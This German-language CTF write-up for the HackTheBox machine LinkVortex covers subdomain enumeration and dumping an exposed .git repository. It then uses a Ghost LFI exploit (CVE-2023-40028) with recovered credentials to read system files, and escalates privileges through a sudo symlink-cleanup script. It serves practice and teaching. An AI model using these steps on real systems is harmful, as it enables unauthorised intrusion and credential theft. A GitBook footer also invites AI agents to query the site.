> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/linkvortex-hackthebox-writeup.md).

# LinkVortex HackTheBox Writeup

Writeup zur HackTheBox-Easy-Linux-Maschine LinkVortex mit Abdeckung von Subdomain-Enumeration, Extraktion von Informationen aus dem .git-Verzeichnis (Git-Dumper), Informationsleck, LFI-Ausnutzung (Ghost), mit praktischen

{% embed url="<https://app.hackthebox.com/machines/638>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* Subdomain-Aufzählung
* Informationen aus dem .git-Verzeichnis extrahieren (Git-Dumper)
* Informationsleck
* LFI-Ausnutzung (Ghost)
* Ausnutzung von Sudo-Privilegien über ein Skript (doppelte symbolische Verknüpfung)
  {% endhint %}

## Aufklärung

**Arbeitsbereich einrichten:**

Richte den Arbeitsbereich ein, indem du drei Ordner erstellst, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ff873e07b2313adb658d44b8b071a3aabb47d99b%2Fimage%20(2594).png?alt=media" alt=""><figcaption></figcaption></figure>

**VPN-Verbindungsprüfung**

Überprüfe die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielrechner sicherzustellen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e2897b84478236f0639384e4f8db48a39edaae9e%2Fimage%20(2595).png?alt=media" alt=""><figcaption></figcaption></figure>

**Konfiguration der /etc/hosts-Datei**

Wir fügen die IP-Adresse des Ziels unserer `/etc/hosts` Datei hinzu, um lokale DNS-Auflösungen zu erleichtern.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-768ba0fa285cb4bbd76c1b041f403965292a2836%2Fimage%20(2596).png?alt=media" alt=""><figcaption></figcaption></figure>

**Offene Ports mit Nmap erkennen:**

Enumeriere die offenen Ports und exportiere die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 linkvortex.htb -oG allPorts
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0f9c90824234f04deaa7f7e812a103aba1ea2a24%2Fimage%20(2597).png?alt=media" alt=""><figcaption></figcaption></figure>

**Analyse offener Ports mit extractPorts:**

Verwenden Sie die Funktion extractPorts, um offene Ports in einem kompakten Format anzuzeigen und in die Zwischenablage zu kopieren (22.80)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1bd8fc449de2b9be4939a3ba4bdfb4bb62f50abc%2Fimage%20(2598).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Port 80**

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-340be5e2088039dbcf398cfcf91eef805b8640b1%2F%7BE29B337D-5425-4FF6-BD1D-313C611421AD%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Port- und Versionsscan mit Nmap:**

Verwende Nmap, um die Dienstversionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p22,80 linkvortex.htb -oN targeted
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e6a42d816985d356a41ebf770b2b58a6db97eaa7%2F%7B22282BA5-7486-47EC-9FE7-8279FB952AF9%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **Verzeichnisenumeration**

```bash
wfuzz -c -t 100 --hc=404,301 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt http://linkvortex.htb/FUZZ/
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4266dbf27ce7ad190e2da5f94d2a1449d6bde7e4%2Fimage%20(2599).png?alt=media" alt=""><figcaption></figcaption></figure>

### Admin-Panel - Ghost

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-041734ad071450f0fa7c843c3447e76de8f09484%2F%7BBF446D05-0595-411B-B871-916B470B3D1C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **Entdeckung einer Subdomain**

Wir suchen nach Subdomains, die mit `linkvortex.htb` in Verbindung stehen, mit

```bash
gobuster.
```

Wir finden die Subdomain `dev.linkvortex.htb`. Hier ist der Befehl, um diese Suche durchzuführen:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-754fecf2654d67b5d41a76bcf30d1c4b007443da%2Fimage%20(2600).png?alt=media" alt=""><figcaption></figcaption></figure>

Sobald die Subdomain gefunden ist, fügen wir sie der `/etc/hosts` Datei für einen leichteren Zugriff hinzu:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-db733d6a09ce305e8f9a8e724b22ecb3f77855c4%2Fimage%20(2601).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c023a744772b455d4f00c4213c5001857342a4f9%2F%7B51979BBD-7EA9-4B2C-9BE8-B4F0C65F4E51%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Suche nach Verzeichnissen in der neuen Subdomain**

Wir suchen vorhandene Verzeichnisse auf der `dev.linkvortex.htb` Subdomain mit `gobuster`:

```bash
gobuster dir -u http://dev.linkvortex.htb/ -w /usr/share/SecLists/Discovery/Web-Content/common.txt -t 100
```

Wir entdecken das `.git` Verzeichnis, was auf ein offengelegtes Git-Repository hindeuten könnte.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-90f3b459e7d93e727d83e7f97dceb1e9c9d019cf%2Fimage%20(2602).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-91be5112b3649a9047b75647526acf110135e47f%2Fimage%20(2603).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Dateiextraktion mit Git-Dumper**

Wir verwenden das `git-dumper` Tool, um Dateien aus dem `.git` Verzeichnis zu extrahieren und zu analysieren:

```git
git-dumper http://dev.linkvortex.htb/.git .git
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-93332b66c3140b6ac3a69cd337ada6cf5848a556%2Fimage%20(2604).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-74a3753bd14aa3fe41ac6d392579e4590dbb66a7%2Fimage%20(2605).png?alt=media" alt=""><figcaption></figcaption></figure>

Dadurch können wir sensible Dateien erhalten, darunter eine Testdatei, die sich in `ghost/core/test/regression/api/admin/authentication.test.js`befindet, in der wir ein Passwort finden:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-76f51d78125a92e1fef63855476b202cbbf81d20%2Fimage%20(2606).png?alt=media" alt=""><figcaption></figcaption></figure>

**Gefundenes Passwort:**

```parser
OctopiFociPilfer45
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1a0cc89d577342f9112e0f875c9583d80e01fd39%2Fimage%20(2607).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Anmeldung am Ghost-Admin-Panel**

Mit diesem Passwort versuchen wir, uns mit dem Ghost-Administrationspanel unter Verwendung der `admin@linkvortex.htb` E-Mail-Adresse anzumelden:

* **E-Mail** : `admin@linkvortex.htb`
* **Passwort**: `OctopiFociPilfer45`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ea53ab91ab21b68fcfc1887972577d518ef00227%2Fimage%20(2608).png?alt=media" alt=""><figcaption></figcaption></figure>

## Schwachstelle Ghost - LFI

{% embed url="<https://github.com/0xyassine/CVE-2023-40028>" %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-556de5aaad732e511fd1096e472cd92307118c8f%2Fimage%20(2609).png?alt=media" alt=""><figcaption></figcaption></figure>

> Während des Portscans haben wir festgestellt, dass die verwendete Ghost-Version (v5.58) anfällig für eine LFI-(Local File Inclusion)-Schwachstelle ist, identifiziert als CVE-2023-40028. Um diese Schwachstelle auszunutzen, laden wir das Exploit-Skript herunter und ändern die Ziel-URL so, dass sie auf unsere Ghost-Instanz verweist.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2ba48cb724ac5e32e928d93b94e8a624c763d553%2Fimage%20(2610).png?alt=media" alt=""><figcaption></figcaption></figure>

Hier ist der Befehl, um den Exploit auszuführen:

```bash
./LFI.sh -u admin@linkvortex.htb -p OctopiFociPilfer45
```

Anschließend erhalten wir eine Shell und können Dateien anzeigen, wie z. B. `/etc/passwd`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e1dd2cc955b6f5f261a3b15ae3fc71736f445677%2F%7B4FD8233F-F945-4791-8BDA-22CBE8CD9D87%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Zugriff auf eine interne Route per LFI**

In dem `.git` Verzeichnis entdeckten wir eine Docker-Datei, die uns eine interne Route zum Zugriff auf eine Sitzung bietet: `/var/lib/ghost/config.production.json`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6dfca1aa90d3bc64cadeb721d81f527d0835d2f9%2Fimage%20(2611).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir nutzen LFI, um Dateien aufzulisten und die Zugangsdaten eines Benutzers namens Bob zu finden:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-21bed3c084bcac4e0e76c7d47e86d15de379ddf6%2Fimage%20(2612).png?alt=media" alt=""><figcaption></figcaption></figure>

**Bobs Zugangsdaten:**

* **Benutzer**: `bob@linkvortex.htb`
* **Passwort**: `fibber-talented-worth`

Wir verbinden uns per SSH mit der Zielmaschine unter Verwendung von Bobs Zugangsdaten:

### Flagge user.txt :)

Wir verwenden das Passwort `fibber-talented-worth` um uns anzumelden und auf die Datei zuzugreifen `user.txt`, in der wir die Flagge finden.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bcfeecc85c6fba7b0d98d4039012c688292be1ba%2Fimage%20(2613).png?alt=media" alt=""><figcaption></figcaption></figure>

## root.txt-Flagge :)

### SUDO - Clean/\_synLink.sh

Wir suchen nach einer Schwachstelle, die eine Rechteausweitung ermöglicht. Wir entdecken eine Datei mit SUID-Berechtigungen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ec24ae5499df8ac352b86950f56d0ff81f8aaa9f%2Fimage%20(2615).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Analyse des Symlink-Bereinigungsskripts**

> Wir analysieren ein Skript namens `clean_symlink.sh`, das prüft, ob die als Argument übergebene Datei ein Symlink auf eine `.png` Datei ist. Wenn der Symlink auf eine kritische Datei zeigt, löscht das Skript ihn. Andernfalls verschiebt es den Symlink in das `/var/quarantined/` Verzeichnis. Wenn die `CHECK_CONTENT` Umgebungsvariable auf `true`gesetzt ist, versucht das Skript, den Inhalt der Datei zu lesen.

Hier ist der Befehl, um die für die Ausnutzung erforderlichen Symlinks zu erstellen:

```bash
ln -s /root/root.txt flag.txt
ln -s /home/bob/flag.txt flag.png
```

Dann führen wir das Skript mit dem folgenden Befehl aus, um die Root-Flagge zu erhalten:

```bash
sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/flag.png 
```

So erhalten wir die `root.txt` Flagge.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d510c3b8a79e2f856beb8e60ce573f331bee991c%2Fimage%20(2616).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f12cffa0209b5fca2a9f9e3bcbd63ce191f0408c%2F%7BF6BA10D9-BB8B-4665-82C3-C660B5632C82%7D.png?alt=media" alt="" width="524"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/linkvortex-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
